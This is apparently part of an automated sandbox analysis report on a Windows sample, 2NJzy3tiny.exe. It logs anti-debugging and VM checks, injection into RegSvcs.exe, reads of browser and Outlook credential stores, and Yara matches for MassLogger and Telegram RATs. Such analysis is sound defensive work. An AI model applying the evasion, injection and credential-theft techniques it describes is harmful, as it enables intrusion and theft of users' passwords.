Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596994	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595462	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592942	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592811	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592686	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592486	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592111	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 591954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 591828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 591719	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2766			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7035			Jump to behavior

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-103571

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

API coverage: 4.6 %

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000F445A GetFileAttributesW,FindFirstFileW,FindClose,	2_2_000F445A
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000FC6D1 FindFirstFileW,FindClose,	2_2_000FC6D1
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000FC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_000FC75C
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000FEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_000FEF95
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000FF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_000FF0F2
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000FF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_000FF3F3
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000F37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_000F37EF
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000F3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_000F3B12
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000FBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_000FBCBC

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000949A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

2_2_000949A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596994	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595462	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592942	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592811	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592686	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592486	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592111	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 591954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 591828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 591719	Jump to behavior

Source: 2NJzy3tiny.exe, 00000002.00000002.1320211980.0000000001765000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareworkstation.exe4
Source: RegSvcs.exe, 00000005.00000002.2543441162.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllo

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	API call chain: ExitProcess graph end node			graph_2-100886
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	API call chain: ExitProcess graph end node			graph_2-101893

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 5_2_053E7210 LdrInitializeThunk,LdrInitializeThunk,

5_2_053E7210

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00103F09 BlockInput,

2_2_00103F09

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00093B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

2_2_00093B3A

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000C5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_000C5A7C

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00094B37 LoadLibraryA,GetProcAddress,

2_2_00094B37

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_01876100 mov eax, dword ptr fs:[00000030h]	2_2_01876100
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_01876160 mov eax, dword ptr fs:[00000030h]	2_2_01876160
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_01874AE0 mov eax, dword ptr fs:[00000030h]	2_2_01874AE0

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000E80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

2_2_000E80A9

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000BA124 SetUnhandledExceptionFilter,		2_2_000BA124
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000BA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_000BA155

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 682008

Jump to behavior

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000E87B1 LogonUserW,

2_2_000E87B1

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00093B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

2_2_00093B3A

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000948D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

2_2_000948D7

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000F4C27 mouse_event,

2_2_000F4C27

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\2NJzy3tiny.exe"

Jump to behavior

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000E7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

2_2_000E7CAF

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000E874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

2_2_000E874B

Source: 2NJzy3tiny.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 2NJzy3tiny.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000B862B cpuid

2_2_000B862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000C4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_000C4E87

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000D1E06 GetUserNameW,

2_2_000D1E06

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000C3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_000C3F3A

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000949A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

2_2_000949A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 2NJzy3tiny.exe	Binary or memory string: WIN_81
Source: 2NJzy3tiny.exe	Binary or memory string: WIN_XP
Source: 2NJzy3tiny.exe	Binary or memory string: WIN_XPe
Source: 2NJzy3tiny.exe	Binary or memory string: WIN_VISTA
Source: 2NJzy3tiny.exe	Binary or memory string: WIN_7
Source: 2NJzy3tiny.exe	Binary or memory string: WIN_8
Source: 2NJzy3tiny.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR

